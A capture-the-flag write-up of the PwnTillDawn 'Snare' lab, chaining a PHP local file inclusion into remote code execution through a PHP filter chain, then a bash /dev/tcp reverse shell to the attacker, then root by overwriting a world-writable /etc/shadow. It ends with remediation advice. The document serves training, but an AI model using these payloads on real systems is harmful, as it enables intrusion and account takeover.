PwnTillDawn Snare (10.150.150.18) Writeup — LFI to PHP Filter Chain RCE
- ▸ Snare (10.150.150.18) (this post)
- Portal (10.150.150.12)
- ElMariachi-PC (10.150.150.69)
Platform: PwnTillDawn Online Battlefield by wizlynx group
Difficulty: Easy
Operating System: Linux (Ubuntu 20.04)
0x00 Recon
Port Scan
I used RustScan for a fast scan across all ports, then chained into nmap for a detailed scan:
rustscan -a 10.150.150.18 -b 1000 -- -sC -sV
Only two ports were open:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 Ubuntu |
| 80 | HTTP | Apache 2.4.41 (Ubuntu) |
The nmap NSE script picked up an HTTP title with a redirect:
http-title: Welcome to my homepage!
Requested resource was /index.php?page=home
The index.php?page=home URL pattern is highly suspicious — the page parameter very likely harbors a Local File Inclusion (LFI) vulnerability.
0x01 Web Enumeration
Directory Scan
feroxbuster -u http://10.150.150.18/index.php?page= -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 5Found some key paths:
/includes/— directory listing enabled/includes/a_config.php— responds with 0 bytes (PHP logic but no HTML output)/includes/navigation.php,footer.php,head-tag-contents.phpand other template files
0x02 Confirming LFI and Leaking Source Code
Basic LFI Test
Let's try path traversal to read /etc/passwd directly:
curl "http://10.150.150.18/index.php?page=../../../etc/passwd"
No luck — the page responds normally but with no file contents.
Reading Source Code with PHP Filters
Using the php://filter wrapper to base64-encode the PHP source and dump it out:
curl "http://10.150.150.18/index.php?page=php://filter/convert.base64-encode/resource=index"
Success! Decoding it gives us the source of index.php:
<?php include("includes/a_config.php");?>
<!DOCTYPE html>
<html>
<head>
<?php include("includes/head-tag-contents.php");?>
</head>
<body>
<?php include("includes/design-top.php");?>
<?php include("includes/navigation.php");?>
<div class="container" id="main-content">
<?php
if (empty($_GET)) {
header('Location: /index.php?page=home');
}
else {
$page = $_GET['page'];
include ($page. '.php');
}
?>
</div>
<?php include("includes/footer.php");?>
</body>
</html>
The critical finding:
$page = $_GET['page'];
include ($page. '.php');
The user-supplied page parameter is completely unfiltered — it's concatenated with a .php suffix and passed straight into include(). That's exactly why reading /etc/passwd directly failed: what actually gets included is /etc/passwd.php.
0x03 PHP Filter Chain RCE
Why the Classic Tricks Fail
- Path traversal + /etc/passwd: the
.phpsuffix makes the path non-existent - data:// wrapper: requires
allow_url_include=On(Off by default) - pearcmd.php trick: PEAR isn't installed on the target
PHP Filter Chain Generator
In 2022, Synacktiv published a groundbreaking technique: by chaining a huge number of PHP iconv filters, you can conjure arbitrary PHP code "out of thin air" from php://temp (an empty resource). This technique:
- Does not require
allow_url_include - Does not require any specific file to exist on the server
- Is unaffected by the
.phpsuffix (since the resource isphp://temp)
Use php_filter_chain_generator to build the payload:
git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
The tool spits out an extremely long php://filter/... chain. Feed it in as the value of the page parameter and tack on &c=id to test:
curl --globoff -o - "http://10.150.150.18/index.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...<snip>...|convert.base64-decode/resource=php://temp&c=id" 2>/dev/null
And the response contains:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE achieved!
0x04 Reverse Shell
Fire up a listener on the attacking machine (Windows PowerShell):
ncat -lvnp 4444
Send a reverse shell through the PHP Filter Chain RCE (needs to be URL-encoded):
curl --globoff -s -o /dev/null "http://10.150.150.18/index.php?page=<FILTER_CHAIN>&c=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<YOUR_IP>%2F4444%200%3E%261%27"
And we catch the shell:
www-data@snare:/var/www/html$
0x05 FLAG1
www-data@snare:/$ ls /home/
snare
www-data@snare:/$ cat /home/snare/FLAG1.txt
RedactedFLAG1: Redacted
0x06 Privilege Escalation to Root
Enumeration
www-data@snare:/$ ls -la /etc/shadow
-rwxrwxrwx 1 root shadow 1129 Nov 20 2020 /etc/shadow
/etc/shadow has 777 permissions — every user can read and write it! This is a serious file permission misconfiguration.
Overwriting the Root Password
Generate a new password hash:
openssl passwd -6 -salt xyz hacked123
# $6$xyz$83/UloSNcxbQq8O5DCPtPfZp...
Since sed -i needs to create a temp file in /etc/ (and www-data has no write access to that directory), I switched to cp with a detour through /tmp/:
cp /etc/shadow /tmp/shadow.bak
sed 's|^root:[^:]*|root:$6$xyz$83/UloSNcxbQq8O5DCPtPfZp.37csnrtPIYRGAZaLwzNy/thRXazOTqB21HCfGVkBJxB.Nm/JLV8UdIw0KGOB.|' /tmp/shadow.bak > /tmp/shadow.new
cp /tmp/shadow.new /etc/shadow
su root
# password: hacked123
root@snare:~# whoami
root
FLAG2
root@snare:~# cat /root/FLAG2.txt
RedactedFLAG2: Redacted
0x07 Attack Chain Summary
Web recon → LFI (index.php?page=)
→ PHP Filter source code leak
→ PHP Filter Chain RCE (Synacktiv)
→ Reverse Shell (www-data)
→ /etc/shadow writable at 777
→ Overwrite root password
→ Root!
Vulnerability List
| # | Vulnerability | Severity | Description |
|---|---|---|---|
| 1 | Local File Inclusion | High | include($_GET['page'] . '.php') with no filtering |
| 2 | PHP Filter Chain RCE | Critical | RCE achieved from LFI via an iconv filter chain |
| 3 | /etc/shadow permission error | Critical | 777 permissions let any user read and write it |
Remediation Recommendations
- LFI: validate the
pageparameter against a whitelist, e.g.in_array($page, ['home', 'about', 'contact']) - PHP Filter Chain: disable unnecessary PHP wrappers (
php://filter), or restrict the available stream wrappers inphp.ini - File permissions:
/etc/shadowshould be set to640(-rw-r-----), readable only by root and the shadow group
Lessons Learned
0x06:
This step actually took a lot of trial and error. I even found that /etc/shadow was readable and tried cracking the password locally, but that failed — then it turned out I could "write" to it after all, so I went with the password-replacement route instead.
Member discussion